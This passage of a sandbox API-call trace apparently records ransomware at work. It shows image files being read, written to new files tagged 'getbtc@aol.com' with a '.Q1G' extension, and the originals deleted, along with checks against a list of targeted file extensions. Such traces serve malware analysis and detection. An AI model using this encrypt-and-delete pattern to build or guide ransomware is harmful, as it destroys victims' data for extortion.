hFile=0x3cc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.009] SetEndOfFile (hFile=0x3cc) returned 1 [0255.009] CloseHandle (hObject=0x3cc) returned 1 [0255.009] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.009] SetEndOfFile (hFile=0x3ec) returned 1 [0255.012] CloseHandle (hObject=0x3ec) returned 1 [0255.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0255.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.034] lstrlenW (lpString=".doc") returned 4 [0255.034] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.034] lstrlenW (lpString=".docx") returned 5 [0255.034] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0255.034] lstrlenW (lpString=".pdf") returned 4 [0255.034] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.034] lstrlenW (lpString=".xls") returned 4 [0255.034] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.034] lstrlenW (lpString=".xlsx") returned 5 [0255.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0255.034] lstrlenW (lpString=".ppt") returned 4 [0255.034] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.034] lstrlenW (lpString=".zip") returned 4 [0255.034] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.034] lstrlenW (lpString=".rar") returned 4 [0255.034] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.034] lstrlenW (lpString=".bz2") returned 4 [0255.035] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.035] lstrlenW (lpString=".7z") returned 3 [0255.035] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString=".dbf") returned 4 [0255.035] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString=".1cd") returned 4 [0255.035] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString=".jpg") returned 4 [0255.035] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString=".doc") returned 4 [0255.035] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.035] lstrlenW (lpString=".docx") returned 5 [0255.035] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0255.035] lstrlenW (lpString=".pdf") returned 4 [0255.035] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.035] lstrlenW (lpString=".xls") returned 4 [0255.035] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.035] lstrlenW (lpString=".xlsx") returned 5 [0255.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0255.035] lstrlenW (lpString=".ppt") returned 4 [0255.035] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.035] lstrlenW (lpString=".zip") returned 4 [0255.035] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.035] lstrlenW (lpString=".rar") returned 4 [0255.035] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.035] lstrlenW (lpString=".bz2") returned 4 [0255.035] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.035] lstrlenW (lpString=".7z") returned 3 [0255.035] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.036] lstrlenW (lpString=".dbf") returned 4 [0255.036] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.036] lstrlenW (lpString=".1cd") returned 4 [0255.036] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0255.036] lstrlenW (lpString=".jpg") returned 4 [0255.036] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.036] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.036] lstrlenW (lpString="J0099185.JPG") returned 12 [0255.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.036] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3282) returned 1 [0255.036] CloseHandle (hObject=0x338) returned 1 [0255.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0255.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.037] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.037] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0255.038] GetLastError () returned 0x0 [0255.038] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xcd2, lpOverlapped=0x0) returned 1 [0255.093] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0255.094] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.094] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.094] SetEndOfFile (hFile=0x3d0) returned 1 [0255.094] CloseHandle (hObject=0x3d0) returned 1 [0255.094] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.094] SetEndOfFile (hFile=0x338) returned 1 [0255.096] CloseHandle (hObject=0x338) returned 1 [0255.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0255.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.097] lstrlenW (lpString=".doc") returned 4 [0255.097] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.097] lstrlenW (lpString=".docx") returned 5 [0255.097] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0255.097] lstrlenW (lpString=".pdf") returned 4 [0255.097] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.097] lstrlenW (lpString=".xls") returned 4 [0255.097] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.097] lstrlenW (lpString=".xlsx") returned 5 [0255.097] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0255.097] lstrlenW (lpString=".ppt") returned 4 [0255.097] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".zip") returned 4 [0255.098] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".rar") returned 4 [0255.098] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".bz2") returned 4 [0255.098] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.098] lstrlenW (lpString=".7z") returned 3 [0255.098] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".dbf") returned 4 [0255.098] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".1cd") returned 4 [0255.098] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".jpg") returned 4 [0255.098] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".doc") returned 4 [0255.098] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.098] lstrlenW (lpString=".docx") returned 5 [0255.098] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0255.098] lstrlenW (lpString=".pdf") returned 4 [0255.098] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".xls") returned 4 [0255.098] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".xlsx") returned 5 [0255.098] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0255.098] lstrlenW (lpString=".ppt") returned 4 [0255.098] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.098] lstrlenW (lpString=".zip") returned 4 [0255.098] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".rar") returned 4 [0255.098] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.098] lstrlenW (lpString=".bz2") returned 4 [0255.099] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.099] lstrlenW (lpString=".7z") returned 3 [0255.099] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.099] lstrlenW (lpString=".dbf") returned 4 [0255.099] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.099] lstrlenW (lpString=".1cd") returned 4 [0255.099] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0255.099] lstrlenW (lpString=".jpg") returned 4 [0255.099] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.099] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0255.099] lstrlenW (lpString="J0099188.JPG") returned 12 [0255.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.099] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9080) returned 1 [0255.100] CloseHandle (hObject=0x338) returned 1 [0255.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0255.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.100] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0255.101] GetLastError () returned 0x0 [0255.101] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2378, lpOverlapped=0x0) returned 1 [0255.177] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0255.178] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.178] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.178] SetEndOfFile (hFile=0x3d0) returned 1 [0255.178] CloseHandle (hObject=0x3d0) returned 1 [0255.178] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.178] SetEndOfFile (hFile=0x338) returned 1 [0255.180] CloseHandle (hObject=0x338) returned 1 [0255.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0255.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.201] lstrlenW (lpString=".doc") returned 4 [0255.201] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.201] lstrlenW (lpString=".docx") returned 5 [0255.201] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0255.201] lstrlenW (lpString=".pdf") returned 4 [0255.201] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.201] lstrlenW (lpString=".xls") returned 4 [0255.201] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.201] lstrlenW (lpString=".xlsx") returned 5 [0255.202] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0255.202] lstrlenW (lpString=".ppt") returned 4 [0255.202] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".zip") returned 4 [0255.202] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString=".rar") returned 4 [0255.202] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString=".bz2") returned 4 [0255.202] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.202] lstrlenW (lpString=".7z") returned 3 [0255.202] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".dbf") returned 4 [0255.202] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".1cd") returned 4 [0255.202] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".jpg") returned 4 [0255.202] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".doc") returned 4 [0255.202] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0255.202] lstrlenW (lpString=".docx") returned 5 [0255.202] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0255.202] lstrlenW (lpString=".pdf") returned 4 [0255.202] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString=".xls") returned 4 [0255.202] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString=".xlsx") returned 5 [0255.202] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0255.202] lstrlenW (lpString=".ppt") returned 4 [0255.202] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0255.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.202] lstrlenW (lpString=".zip") returned 4 [0255.203] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0255.203] lstrlenW (lpString=".rar") returned 4 [0255.203] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0255.203] lstrlenW (lpString=".bz2") returned 4 [0255.203] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0255.203] lstrlenW (lpString=".7z") returned 3 [0255.203] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.203] lstrlenW (lpString=".dbf") returned 4 [0255.203] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.203] lstrlenW (lpString=".1cd") returned 4 [0255.203] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0255.203] lstrlenW (lpString=".jpg") returned 4 [0255.203] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0255.203] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.203] lstrlenW (lpString="J0099192.GIF") returned 12 [0255.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.208] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17964) returned 1 [0255.208] CloseHandle (hObject=0x338) returned 1 [0255.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0255.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0255.214] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.214] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0255.215] GetLastError () returned 0x0 [0255.215] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x462c, lpOverlapped=0x0) returned 1 [0255.278] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0255.279] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.279] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.279] SetEndOfFile (hFile=0x3d0) returned 1 [0255.280] CloseHandle (hObject=0x3d0) returned 1 [0255.280] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.280] SetEndOfFile (hFile=0x338) returned 1 [0255.282] CloseHandle (hObject=0x338) returned 1 [0255.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program 